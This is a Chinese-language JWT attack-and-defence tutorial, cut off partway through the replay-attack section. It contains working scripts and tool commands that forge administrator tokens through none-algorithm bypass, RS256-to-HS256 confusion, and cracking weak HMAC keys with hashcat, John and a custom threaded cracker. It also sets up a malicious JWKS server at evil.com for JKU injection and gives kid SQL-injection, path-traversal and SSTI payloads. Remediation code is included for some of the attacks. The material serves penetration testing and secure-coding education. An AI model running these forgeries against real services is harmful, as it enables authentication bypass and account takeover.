JWT安全攻防实战:从Token伪造到身份接管的全流程
一、前言:为什么JWT成为攻击者的新靶场
在前后端分离架构和微服务成为主流的今天,JWT(JSON Web Token)几乎无处不在。从单点登录到API鉴权,从移动端到物联网设备,JWT承载着越来越多的身份凭证。然而,很多开发者对JWT的安全机制理解不够深入,导致生产环境中存在大量可被利用的漏洞。
本文将从攻击者视角出发,系统讲解JWT从原理到攻防的全流程,涵盖none算法绕过、算法混淆、密钥破解、JKU注入等主流攻击手法,并给出完整的防御方案。无论你是安全研究员、渗透测试工程师,还是后端开发人员,都能从中获得实战价值。
【提示】 本文所有技术内容仅用于授权测试和安全学习。未经授权对他人系统进行攻击属于违法行为。请在合法授权的靶场环境或自有系统中进行测试。读者需自行承担因不当使用本文技术而产生的法律责任。
二、JWT基础原理深入解析
2.1 JWT三段结构详解
JWT由三部分组成,以点号(.)分隔,格式为 Header.Payload.Signature。这三部分分别承担不同职责:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
第一段:Header(头部)
Header是一个JSON对象,描述JWT的元信息,主要包含两个字段:
{
"alg": "HS256",
"typ": "JWT"
}
其中 alg 字段声明签名算法,typ 字段声明令牌类型。Header会被Base64URL编码后作为JWT的第一段。
第二段:Payload(负载)
Payload是JWT的核心,存放声明(Claims)信息。声明是关于实体(通常是用户)和其他数据的陈述:
{
"sub": "1234567890",
"name": "John Doe",
"admin": true,
"iat": 1516239022,
"exp": 1516242622
}
Payload同样经过Base64URL编码,注意这部分默认不加密,任何人都可以解码读取。
第三段:Signature(签名)
签名用于验证JWT的完整性,防止篡改。签名算法不同,计算方式也不同。以HS256为例:
HMACSHA256(
base64UrlEncode(Header) + "." +
base64UrlEncode(Payload),
secret
)
服务端验证时,会用相同的密钥和算法重新计算签名,与JWT中的签名段比对。如果一致,则认为Token未被篡改。
2.2 Base64URL编码机制
JWT使用的是Base64URL编码而非标准Base64,区别在于:
import base64
import json
# 标准Base64可能包含 + 和 /
# Base64URL将其替换为 - 和 _ ,并去掉 = 填充
def base64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
def base64url_decode(data):
padding = 4 - len(data) % 4
if padding != 4:
data = data + ('=' * padding)
return base64.urlsafe_b64decode(data)
# 编码示例
header = json.dumps({"alg":"HS256","typ":"JWT"}).encode()
print(base64url_encode(header))
# 输出: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
理解Base64URL是分析JWT的基础,因为Header和Payload都是明文编码,攻击者可以直接解码查看内容。
2.3 声明(Claims)分类详解
JWT规范定义了三类声明,理解它们的用途对发现漏洞至关重要:
| 声明类型 | 说明 | 常见字段 | 安全关注点 |
|---|---|---|---|
| Registered(注册声明) | RFC7519预定义的标准声明,非强制但推荐使用 | iss, sub, aud, exp, nbf, iat, jti | exp/nbf验证缺失是常见漏洞 |
| Private(私有声明) | 使用方自定义的声明,用于特定业务场景 | admin, role, userId, companyId | 可能包含敏感信息,存在越权风险 |
| Public(公开声明) | 为避免冲突而注册的公开声明 | 详见IANA JWT Claims Registry | 命名需规范,避免与标准声明冲突 |
注册声明的详细说明:
| 声明 | 全称 | 含义 | 安全意义 |
|---|---|---|---|
| iss | Issuer | 签发者 | 验证Token来源,防止跨服务伪造 |
| sub | Subject | 主体(通常是用户ID) | 标识身份,篡改可导致越权 |
| aud | Audience | 接收方 | 防止Token跨应用重用 |
| exp | Expiration Time | 过期时间 | 最关键的时间验证,缺失则永久有效 |
| nbf | Not Before | 生效时间 | 防止提前使用未生效的Token |
| iat | Issued At | 签发时间 | 用于判断Token年龄和刷新策略 |
| jti | JWT ID | 唯一标识 | 用于防重放,配合服务端黑名单 |
2.4 签名算法对比
JWT支持多种签名算法,安全性和使用场景各不相同:
| 算法 | 类型 | 密钥特征 | 性能 | 典型场景 | 安全注意 |
|---|---|---|---|---|---|
| HS256 | 对称加密(HMAC) | 共享密钥(字符串) | 快 | 单一服务内部 | 密钥泄露即可伪造,密钥强度是关键 |
| HS384 | 对称加密(HMAC) | 共享密钥 | 较快 | 单一服务内部 | 同HS256,密钥长度需≥48字节 |
| HS512 | 对称加密(HMAC) | 共享密钥 | 快 | 单一服务内部 | 同HS256,密钥长度需≥64字节 |
| RS256 | 非对称加密(RSA) | 公钥/私钥对 | 较慢 | 多服务、第三方验证 | 私钥签发,公钥验证,安全性高 |
| RS384 | 非对称加密(RSA) | 公钥/私钥对 | 慢 | 多服务场景 | 同RS256 |
| RS512 | 非对称加密(RSA) | 公钥/私钥 | 慢 | 多服务场景 | 同RS256 |
| ES256 | 非对称加密(ECDSA) | 椭圆曲线密钥对 | 中等 | 移动端、IoT | 密钥更短,性能优于RSA |
| ES384 | 非对称加密(ECDSA) | 椭圆曲线密钥对 | 中等 | 高安全场景 | 同ES256 |
| ES512 | 非对称加密(ECDSA) | 椭圆曲线密钥对 | 中等 | 高安全场景 | 同ES256 |
| PS256 | 非对称加密(RSA-PSS) | 公钥/私钥对 | 较慢 | 高安全场景 | RSASSA-PSS模式,安全性高于RS256 |
| none | 无签名 | 无密钥 | 最快 | 不应使用 | 极度危险,直接绕过验证 |
2.5 完整JWT结构示例
下面是一个完整的JWT生成与解析示例,涵盖Node.js、Python、Java三种语言:
Node.js示例(使用jsonwebtoken库)
const jwt = require('jsonwebtoken');
// 生成Token
const payload = {
sub: 'user_10086',
name: 'admin',
role: 'administrator',
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 3600
};
const secret = 'your-256-bit-secret';
const token = jwt.sign(payload, secret, { algorithm: 'HS256' });
console.log('Generated Token:', token);
// 验证Token
try {
const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] });
console.log('Decoded:', decoded);
} catch (err) {
console.error('Verify failed:', err.message);
}
// 不安全:解码但不验证(仅查看内容)
const unsafeDecoded = jwt.decode(token);
console.log('Unsafe decode:', unsafeDecoded);
Python示例(使用PyJWT库)
import jwt
import time
payload = {
'sub': 'user_10086',
'name': 'admin',
'role': 'administrator',
'iat': int(time.time()),
'exp': int(time.time()) + 3600
}
secret = 'your-256-bit-secret'
token = jwt.encode(payload, secret, algorithm='HS256')
print(f'Token: {token}')
# 验证Token
try:
decoded = jwt.decode(token, secret, algorithms=['HS256'])
print(f'Decoded: {decoded}')
except jwt.ExpiredSignatureError:
print('Token已过期')
except jwt.InvalidTokenError:
print('Token无效')
# 仅解码不验证(攻击者视角)
unverified = jwt.decode(token, options={'verify_signature': False})
print(f'Unverified: {unverified}')
三、JWT安全漏洞分类与攻击面分析
3.1 JWT漏洞类型分类
根据漏洞成因,JWT安全问题可分为以下几类:
| 漏洞类别 | 根本原因 | 危害等级 | 利用难度 | 典型场景 |
|---|---|---|---|---|
| 签名算法绕过 | 未正确校验alg字段 | 严重 | 低 | none算法、算法混淆 |
| 密钥强度不足 | 使用弱密钥或默认密钥 | 严重 | 中 | HS256弱密钥破解 |
| 参数注入 | Header可控参数未过滤 | 严重 | 中 | jku/x5u/jwk/kid注入 |
| 验证逻辑缺失 | 未验证exp/nbf/iss/aud | 高 | 低 | Token永久有效、跨服务重用 |
| 敏感信息泄露 | Payload存储明文敏感数据 | 中 | 低 | Base64解码即可获取 |
| 重放攻击 | 缺乏jti或未实现黑名单 | 中 | 低 | Token被截获后重放 |
| 权限控制缺陷 | Payload中角色/权限可控 | 高 | 中 | 篡改role字段提权 |
3.2 攻击面分析
JWT在完整生命周期中存在多个攻击面:
[签发阶段]
├── 密钥生成:弱随机数、硬编码密钥
├── 算法选择:默认none、可被混淆
├── Payload构造:敏感数据明文、权限字段可控
└── 过期设置:exp缺失或过长
[传输阶段]
├── 传输通道:HTTP明文、TLS降级
├── 存储位置:localStorage XSS窃取、Cookie配置不当
└── 日志泄露:Token写入访问日志
[验证阶段]
├── 算法校验:未限定algorithms白名单
├── 签名校验:none绕过、公钥作为密钥
├── 声明校验:exp/nbf/iss/aud缺失
└── 参数注入:jku/x5u/jwk/kid未过滤
[撤销阶段]
├── 黑名单机制:未实现jti黑名单
├── 刷新机制:刷新Token无限制
└── 注销缺陷:客户端删除但服务端仍有效
3.3 OWASP API Security中的JWT风险
OWASP API Security Top 10中多个风险与JWT直接相关:
| OWASP风险 | 编号 | 与JWT的关联 |
|---|---|---|
| Broken Object Level Authorization (BOLA) | API1:2023 | Payload中ID可控导致越权访问 |
| Broken Authentication | API2:2023 | JWT实现缺陷导致认证绕过 |
| Broken Function Level Authorization | API5:2023 | Payload中role字段篡改提权 |
| Security Misconfiguration | API8:2023 | JWT库配置不当(如未限制算法) |
| Improper Inventory Management | API9:2023 | 多版本JWT验证逻辑并存 |
【提示】 在API安全测试中,JWT相关的认证和授权问题是最高频的发现点。建议将JWT测试作为API渗透测试的标准流程之一。
四、none算法绕过攻击
4.1 none算法原理
JWT规范中定义了一种特殊的算法:none,表示不使用签名算法。设计初衷是用于非敏感场景下省略签名计算。然而,许多JWT库在实现时存在缺陷:当Header中alg字段为none时,验证函数直接跳过签名校验,返回成功。
攻击原理如下:
正常流程:
客户端发送Token(HS256签名) -> 服务端用密钥验证签名 -> 验证通过
攻击流程:
攻击者篡改Header.alg为none -> 篡改Payload(如role:admin) -> 签名段置空
-> 服务端发现alg=none -> 跳过签名校验 -> 直接信任Payload内容
4.2 Python实战利用
import base64
import json
def base64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def base64url_decode(data):
padding = 4 - len(data) % 4
if padding != 4:
data = data + ('=' * padding)
return base64.urlsafe_b64decode(data)
# 原始Token(从目标系统获取)
original_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwidXNlciI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.signature_here'
# 解码Header和Payload
header_b64, payload_b64, sig = original_token.split('.')
header = json.loads(base64url_decode(header_b64))
payload = json.loads(base64url_decode(payload_b64))
print(f'原始Header: {header}')
print(f'原始Payload: {payload}')
# 篡改:将算法改为none,提升权限
header['alg'] = 'none'
payload['role'] = 'admin'
payload['user'] = 'administrator'
# 重新编码
new_header = base64url_encode(json.dumps(header).encode())
new_payload = base64url_encode(json.dumps(payload).encode())
# none算法的签名段为空,但需保留点号
# 注意:有些库接受空字符串,有些需要特定占位
forged_token_none = f'{new_header}.{new_payload}.'
forged_token_empty = f'{new_header}.{new_payload}'
print(f'伪造Token(none): {forged_token_none}')
print(f'伪造Token(空): {forged_token_empty}')
# 使用PyJWT验证(模拟漏洞环境)
import jwt
# 漏洞代码:未指定algorithms白名单
# jwt.decode(token, secret, verify=False) # 危险写法
# 正确代码应指定 algorithms=['HS256']
4.3 Node.js实战利用
const crypto = require('crypto');
function base64urlEncode(str) {
return Buffer.from(str).toString('base64')
.replace(/=/g, '')
.replace(/\+/g, '-')
.replace(/\//g, '_');
}
// 原始Token分析
const originalToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0Iiwicm9sZSI6InVzZXIifQ.xxx';
const [headerB64, payloadB64] = originalToken.split('.');
const header = JSON.parse(Buffer.from(headerB64, 'base64').toString());
const payload = JSON.parse(Buffer.from(payloadB64, 'base64').toString());
console.log('原始Header:', header);
console.log('原始Payload:', payload);
// 篡改为none算法
const newHeader = { alg: 'none', typ: 'JWT' };
const newPayload = { ...payload, role: 'admin', sub: '1' };
const forgedToken = [
base64urlEncode(JSON.stringify(newHeader)),
base64urlEncode(JSON.stringify(newPayload)),
'' // 空签名
].join('.');
console.log('伪造Token:', forgedToken + '.'); // 保留尾部点号
4.4 使用jwt_tool工具
jwt_tool是JWT安全测试的专用工具,支持多种攻击模式:
# 安装jwt_tool
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
python3 setup.py install
# 解码查看Token内容
python3 jwt_tool.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0Iiwicm9sZSI6InVzZXIifQ.signature
# none算法攻击(Tyrone模式)
python3 jwt_tool.py -t <TOKEN> -T
# 算法混淆攻击
python3 jwt_tool.py -t <TOKEN> -X k -pk public_key.pem
# 密钥字典破解
python3 jwt_tool.py -t <TOKEN> -C -d rockyou.txt
# JKU注入攻击
python3 jwt_tool.py -t <TOKEN> -X s -S u # 使用自带服务器
【提示】 jwt_tool的
-T参数会自动尝试多种篡改模式,包括none算法、大小写变体(None、NONE、nOnE等),非常适合快速检测服务端是否对alg字段做了严格校验。
4.5 修复方案
正确做法:严格指定允许的算法白名单
// Node.js - jsonwebtoken库正确用法
const jwt = require('jsonwebtoken');
// 错误写法(存在none绕过风险)
// const decoded = jwt.verify(token, secret); // 不指定algorithms
// 正确写法
const decoded = jwt.verify(token, secret, {
algorithms: ['HS256'], // 必须指定白名单
issuer: 'myapp', // 验证签发者
audience: 'myapp-api' // 验证接收方
});
# Python - PyJWT正确用法
import jwt
# 错误写法
# decoded = jwt.decode(token, secret) # 不指定algorithms
# 正确写法
decoded = jwt.decode(
token,
secret,
algorithms=['HS256'], # 必须指定
issuer='myapp',
audience='myapp-api',
options={
'require': ['exp', 'iat', 'nbf'] # 强制要求这些声明
}
)
五、算法混淆攻击(RS256转HS256)
5.1 算法混淆原理
算法混淆攻击是JWT中最经典的漏洞之一。当服务端使用RS256(非对称)时,攻击者将其篡改为HS256(对称),并将服务端的公钥作为HMAC密钥。
攻击逻辑:
正常RS256流程:
服务端用私钥签名 -> 客户端用公钥验证
算法混淆攻击:
攻击者篡改alg为HS256
攻击者用公钥(公开可获取)作为HMAC密钥计算签名
服务端验证时:
1. 读取Header.alg = HS256
2. 使用公钥作为HMAC密钥
3. 计算HMAC签名
4. 与攻击者计算的签名一致 -> 验证通过!
关键前提:服务端验证逻辑从配置或Token中动态获取算法,且公钥可被攻击者获取。
5.2 公钥获取方法
获取服务端公钥有多种途径:
方法一:从证书文件获取
# 从TLS证书提取公钥
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > public_key.pem
# 查看公钥内容
cat public_key.pem
方法二:从JWK Header参数获取
有些JWT的Header中直接包含公钥:
{
"alg": "RS256",
"jwk": {
"kty": "RSA",
"n": "0vx7...",
"e": "AQAB",
"kid": "key-2019"
}
}
方法三:从JKU/X5U端点获取
Header中的jku参数指向一个URL,服务端会从该URL获取JWKS(JSON Web Key Set)
攻击者可控制jku指向自己的恶意服务器
方法四:从/.well-known/jwks.json获取
# 很多OAuth/OIDC服务会暴露JWKS端点
curl https://target.com/.well-known/jwks.json
5.3 完整攻击流程代码
以下是完整的算法混淆攻击实现:
import jwt
import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64
import hmac
import hashlib
# 步骤1:获取目标公钥(假设已保存为public_key.pem)
with open('public_key.pem', 'rb') as f:
public_key_pem = f.read()
# 步骤2:将PEM格式的公钥转换为DER格式(去除换行符的纯文本形式)
# 很多库在HS256模式下直接将公钥PEM内容作为密钥字符串
public_key_der = serialization.load_pem_public_key(
public_key_pem,
backend=default_backend()
)
# 将公钥导出为PEM格式字符串(作为HMAC密钥)
pem_bytes = public_key_der.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
# 去除首尾标记和换行,得到纯Base64密钥
hmac_key = pem_bytes # 完整PEM作为密钥
# 步骤3:构造恶意Payload
original_payload = {
'sub': 'user_123',
'role': 'user',
'iat': 1516239022,
'exp': 1893456000 # 远期过期时间
}
malicious_payload = {
'sub': '1', # 管理员ID
'role': 'admin', # 提升权限
'name': 'root',
'iat': 1516239022,
'exp': 1893456000
}
# 步骤4:使用公钥作为HMAC密钥生成HS256签名
# Header强制为HS256
header = {'alg': 'HS256', 'typ': 'JWT'}
# 手动构造JWT(不依赖库的算法选择)
def base64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header_b64 = base64url_encode(json.dumps(header).encode())
payload_b64 = base64url_encode(json.dumps(malicious_payload).encode())
signing_input = f'{header_b64}.{payload_b64}'.encode()
signature = hmac.new(hmac_key, signing_input, hashlib.sha256).digest()
sig_b64 = base64url_encode(signature)
forged_token = f'{header_b64}.{payload_b64}.{sig_b64}'
print(f'算法混淆攻击Token:\n{forged_token}')
# 步骤5:使用PyJWT验证(模拟漏洞环境)
# 漏洞代码:从Token Header动态获取算法
try:
# 漏洞写法:不指定algorithms,由库从Header读取
# decoded = jwt.decode(forged_token, public_key_pem)
# 正确写法应固定算法:
decoded = jwt.decode(
forged_token,
public_key_pem,
algorithms=['RS256'] # 固定为RS256可防御此攻击
)
print(f'验证结果: {decoded}')
except Exception as e:
print(f'验证失败(预期内): {e}')
使用jwt_tool一键完成算法混淆攻击
# 从公钥文件生成算法混淆Token
python3 jwt_tool.py -t <原RS256_TOKEN> -X k -pk public_key.pem
# 从URL获取公钥并自动生成
python3 jwt_tool.py -t <原RS256_TOKEN> -X k -ju https://target.com/.well-known/jwks.json
# 从JWK Header参数获取公钥
python3 jwt_tool.py -t <原RS256_TOKEN> -X k
【提示】 算法混淆攻击成功的关键在于:服务端验证代码中未显式指定算法白名单,而是从Token Header中读取alg字段。在代码审计时,搜索
jwt.verify或jwt.decode调用处,检查是否指定了algorithms参数。
六、密钥破解攻击
6.1 弱密钥问题分析
HS256算法的安全性完全依赖于密钥强度。很多开发者使用短字符串、常见单词或项目名作为密钥,这些密钥可被字典攻击或暴力破解快速还原:
常见弱密钥模式:
- "secret" "password" "key" "token" 等常见词
- 项目名/公司名 "myapp" "companyname"
- 数字串 "123456" "000000"
- 默认密钥(来自教程/文档示例)
- 短随机字符串(不足16字节)
6.2 hashcat暴力破解
hashcat是GPU加速的密码破解工具,支持HMAC-SHA256:
# 步骤1:提取JWT的签名部分
# 完整格式:header.payload.signature
# hashcat需要格式:header.payload -> signature
# 提取签名前的部分和签名本身
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0In0.xxx"
HEADER_PAYLOAD=$(echo $TOKEN | cut -d'.' -f1,2)
SIGNATURE=$(echo $TOKEN | cut -d'.' -f3)
# hashcat的HMAC-SHA256模式(mode 16500)需要特殊格式
# 格式:$hashcathmac$消息$HMAC结果(均为hex)
# 但JWT的消息和签名都是base64url,需要转换
# 转换为hashcat格式
echo -n "$HEADER_PAYLOAD" | xxd -p | tr -d '\n' > msg_hex
echo -n "$SIGNATURE" | base64 -d 2>/dev/null | xxd -p | tr -d '\n' > sig_hex
# 生成hashcat输入
echo "$(<msg_hex):$(<sig_hex)" > hash.txt
# 使用hashcat破解(模式16500 = JWT-HMAC-SHA256)
hashcat -m 16500 hash.txt /usr/share/wordlists/rockyou.txt
# 纯暴力模式(6位字母数字)
hashcat -m 16500 hash.txt -a 3 ?a?a?a?a?a?a
# 字典+规则
hashcat -m 16500 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
6.3 John the Ripper破解
# 安装JWT破解工具
# John内置jwt格式支持
# 创建破解输入文件
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0In0.xxx" > jwt.txt
# 使用John破解
john --format=HMAC-SHA256 jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt
# 查看破解结果
john --show jwt.txt
# 增量模式(纯暴力)
john --format=HMAC-SHA256 jwt.txt --incremental
6.4 jwt-cracker工具
jwt-cracker是专为JWT设计的轻量破解工具:
# 安装
npm install -g jwt-cracker
# 使用默认字典破解
jwt-cracker -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0In0.xxx" -d "abcdefghijklmnopqrstuvwxyz0123456789"
# 指定密钥长度
jwt-cracker -t "<TOKEN>" -a "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" -l 6
# 使用自定义字典
jwt-cracker -t "<TOKEN>" -w custom_wordlist.txt
6.5 Python字典攻击脚本
import hmac
import hashlib
import base64
import json
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
def verify_jwt_signature(token, secret):
"""验证JWT签名是否匹配给定密钥"""
try:
parts = token.split('.')
if len(parts) != 3:
return False
header_b64, payload_b64, sig_b64 = parts
# 重新计算签名
signing_input = f'{header_b64}.{payload_b64}'.encode()
expected_sig = hmac.new(
secret.encode(),
signing_input,
hashlib.sha256
).digest()
# Base64URL编码
expected_sig_b64 = base64.urlsafe_b64encode(expected_sig).rstrip(b'=').decode()
return expected_sig_b64 == sig_b64
except Exception:
return False
def crack_jwt(token, wordlist, threads=10):
"""多线程字典攻击"""
found = None
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {}
with open(wordlist, 'r', encoding='utf-8', errors='ignore') as f:
batch = []
for line in f:
word = line.strip()
if not word:
continue
batch.append(word)
if len(batch) >= 1000:
for w in batch:
futures[executor.submit(verify_jwt_signature, token, w)] = w
batch = []
# 处理剩余
for w in batch:
futures[executor.submit(verify_jwt_signature, token, w)] = w
for future in as_completed(futures):
word = futures[future]
if future.result():
found = word
print(f'\n[+] 密钥破解成功: {word}')
executor.shutdown(wait=False, cancel_futures=True)
break
return found
# 使用示例
if __name__ == '__main__':
token = sys.argv[1] if len(sys.argv) > 1 else input('输入JWT: ')
wordlist = sys.argv[2] if len(sys.argv) > 2 else 'rockyou.txt'
print(f'开始破解,使用字典: {wordlist}')
result = crack_jwt(token, wordlist, threads=20)
if result:
# 使用破解的密钥伪造任意Token
import jwt
# 解码原Payload
unverified = jwt.decode(token, options={'verify_signature': False})
print(f'原始Payload: {unverified}')
# 构造管理员Token
admin_payload = {**unverified, 'role': 'admin', 'sub': '1'}
admin_token = jwt.encode(admin_payload, result, algorithm='HS256')
print(f'管理员Token: {admin_token}')
else:
print('字典中未找到匹配密钥')
6.6 暴力破解时间评估
不同密钥长度和字符集的暴力破解时间参考(单GPU RTX 3090,约1.5 GH/s for HMAC-SHA256):
| 密钥长度 | 字符集 | 组合数 | 预估时间 | 风险等级 |
|---|---|---|---|---|
| 4位 | 小写字母 | 456,976 | <1秒 | 极高 |
| 6位 | 小写字母 | 3亿 | 0.2秒 | 极高 |
| 6位 | 字母数字 | 22亿 | 1.5秒 | 极高 |
| 8位 | 小写字母 | 2088亿 | 140秒 | 高 |
| 8位 | 字母数字+符号 | 7.2千万亿 | 48天 | 中 |
| 12位 | 字母数字+符号 | 4.7×10^23 | 10000年 | 低 |
| 16位 | 随机字节(128位) | 3.4×10^38 | 宇宙年龄 | 安全 |
| 32位 | 随机字节(256位) | 1.16×10^77 | 不可破解 | 极安全 |
【提示】 从表中可以看出,HS256密钥至少应使用32字节(256位)的高熵随机值。使用人类可记忆的短密码作为密钥是JWT安全中最常见的配置失误。
七、JKU/X5U/JWK注入攻击
7.1 Header参数详解
JWT Header中除了alg和typ,还支持多个用于密钥寻址的参数。这些参数如果未做严格校验,可被攻击者利用注入恶意密钥:
| 参数 | 全称 | 作用 | 攻击面 |
|---|---|---|---|
| jku | JWK Set URL | 指向JWKS集合的URL,服务端从中获取验证公钥 | 注入恶意JWKS URL,指向攻击者控制的密钥 |
| jwk | JSON Web Key | 直接在Header中嵌入公钥 | 注入攻击者生成的公钥对,用私钥签名 |
| kid | Key ID | 标识用于验证的密钥ID | SQL注入、路径遍历、模板注入 |
| x5u | X.509 URL | 指向X.509证书链的URL | 类似jku,注入恶意证书URL |
| x5c | X.509 Certificate Chain | 直接嵌入X.509证书 | 注入攻击者证书 |
| x5t | X.509 Certificate Thumbprint | 证书指纹 | 可能导致哈希碰撞 |
7.2 JWK Header注入
当服务端信任Header中的jwk参数时,攻击者可在Header中注入自己的公钥:
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64
# 步骤1:生成攻击者的RSA密钥对
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
# 步骤2:将公钥转换为JWK格式
public_numbers = public_key.public_numbers()
n_b64 = base64.urlsafe_b64encode(public_numbers.n.to_bytes(256, 'big')).rstrip(b'=').decode()
e_b64 = base64.urlsafe_b64encode(public_numbers.e.to_bytes(3, 'big')).rstrip(b'=').decode()
jwk = {
'kty': 'RSA',
'n': n_b64,
'e': e_b64,
'kid': 'attacker-key-001'
}
# 步骤3:构造包含jwk的Header
header = {
'alg': 'RS256',
'typ': 'JWT',
'jwk': jwk,
'kid': 'attacker-key-001'
}
# 步骤4:构造恶意Payload
payload = {
'sub': 'admin',
'role': 'administrator',
'exp': 1893456000
}
# 步骤5:用攻击者的私钥签名
# 将header的jwk参数作为验证公钥(服务端漏洞)
token = jwt.encode(
payload,
private_key,
algorithm='RS256',
headers=header
)
print(f'JWK注入Token:\n{token}')
# 此时服务端如果信任Header中的jwk参数
# 会用该公钥验证签名 -> 验证通过(因为是攻击者用对应私钥签的)
7.3 JKU注入攻击
jku参数指向一个URL,服务端会从该URL获取JWKS。如果服务端未对jku的域名做白名单校验,攻击者可指向自己的服务器:
步骤一:生成密钥对并搭建恶意JWKS服务器
# generate_evil_jwks.py
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64
# 生成RSA密钥对
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
# 导出私钥(保存用于签名)
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
with open('evil_private_key.pem', 'wb') as f:
f.write(private_pem)
# 构造JWKS
public_numbers = public_key.public_numbers()
def int_to_b64url(n, length):
return base64.urlsafe_b64encode(n.to_bytes(length, 'big')).rstrip(b'=').decode()
jwks = {
"keys": [
{
"kty": "RSA",
"n": int_to_b64url(public_numbers.n, 256),
"e": int_to_b64url(public_numbers.e, 3),
"kid": "evil-key-001",
"use": "sig",
"alg": "RS256"
}
]
}
with open('jwks.json', 'w') as f:
json.dump(jwks, f, indent=2)
print('JWKS已生成: jwks.json')
print('私钥已保存: evil_private_key.pem')
步骤二:启动恶意JWKS服务器
# evil_jwks_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class JWKSHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/.well-known/jwks.json' or self.path == '/jwks.json':
with open('jwks.json', 'r') as f:
jwks = json.load(f)
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps(jwks).encode())
else:
self.send_response(404)
self.end_headers()
def log_message(self, format, *args):
print(f'请求: {args[0]}')
print('恶意JWKS服务器启动于 http://evil.com:8080')
HTTPServer(('0.0.0.0', 8080), JWKSHandler).serve_forever()
步骤三:构造JKU注入Token
# forge_jku_token.py
import jwt
import json
# 恶意服务器URL(攻击者控制)
EVIL_JWKS_URL = 'https://evil.attacker.com/jwks.json'
header = {
'alg': 'RS256',
'kid': 'evil-key-001', # 对应JWKS中的kid
'jku': EVIL_JWKS_URL # 指向攻击者的JWKS服务器
}
payload = {
'sub': '1',
'role': 'admin',
'name': 'superuser',
'exp': 1893456000
}
with open('evil_private_key.pem', 'rb') as f:
private_key = f.read()
token = jwt.encode(
payload,
private_key,
algorithm='RS256',
headers=header
)
print(f'JKU注入Token:')
print(token)
print(f'\nHeader解码:')
import base64
header_b64 = token.split('.')[0]
print(json.loads(base64.urlsafe_b64decode(header_b64 + '==')))
7.4 KID参数注入
kid参数常被用于密钥路由选择。如果服务端使用kid查询密钥时存在注入,攻击面更广:
场景一:kid SQL注入
# 如果服务端用kid查询数据库密钥
# 代码类似:SELECT key FROM keys WHERE kid = '<kid_value>'
# 注入Payload(使用永真条件获取第一个密钥)
header_sql_injection = {
'alg': 'HS256',
'kid': "1' UNION SELECT 'attacker_known_key' -- "
}
# 攻击者用已知的密钥签名,服务端用注入获取的相同密钥验证
场景二:kid路径遍历
import jwt
# 如果服务端用kid拼接文件路径读取密钥
# 代码类似:key = load_file('/keys/' + kid + '.pem')
# 路径遍历指向已知文件
header_path_traversal = {
'alg': 'HS256',
'kid': '../../../../../../dev/null' # 空密钥
}
# 或指向系统中的已知文件(如公钥文件)
header_path_traversal2 = {
'alg': 'HS256',
'kid': '../../../../../../etc/ssl/certs/ca-certificates.crt'
}
# 用对应文件内容作为HMAC密钥签名
payload = {'sub': '1', 'role': 'admin', 'exp': 1893456000}
# 读取目标文件作为密钥
import os
key_file_path = '/dev/null'
if os.path.exists(key_file_path):
with open(key_file_path, 'rb') as f:
key_content = f.read()
token = jwt.encode(
payload,
key_content,
algorithm='HS256',
headers=header_path_traversal
)
print(f'路径遍历Token:\n{token}')
场景三:kid模板注入
如果服务端使用模板引擎处理kid参数,可能存在SSTI:
# 服务端可能存在类似代码
# template.render(f"key_for_{kid}")
# SSTI Payload(读取环境变量中的密钥)
header_ssti = {
'alg': 'HS256',
'kid': '{{config.SECRET_KEY}}' # Flask配置中的密钥
}
【提示】 kid参数是JWT Header中最危险的注入点之一,因为它常被用于数据库查询、文件读取或模板渲染。在代码审计时,搜索
kid或key_id的使用处,检查是否存在注入风险。
八、JWT重放与过期攻击
8.1 Token重放攻击
重放攻击是指攻击者截获合法Token后,在有效期内重复使用该Token进行未授权操作:
攻击流程:
1. 攻击者通过网络嗅探、XSS、日志泄露等方式获取合法Token
2. 在Token有效期内(exp之前),重放该Token访问API
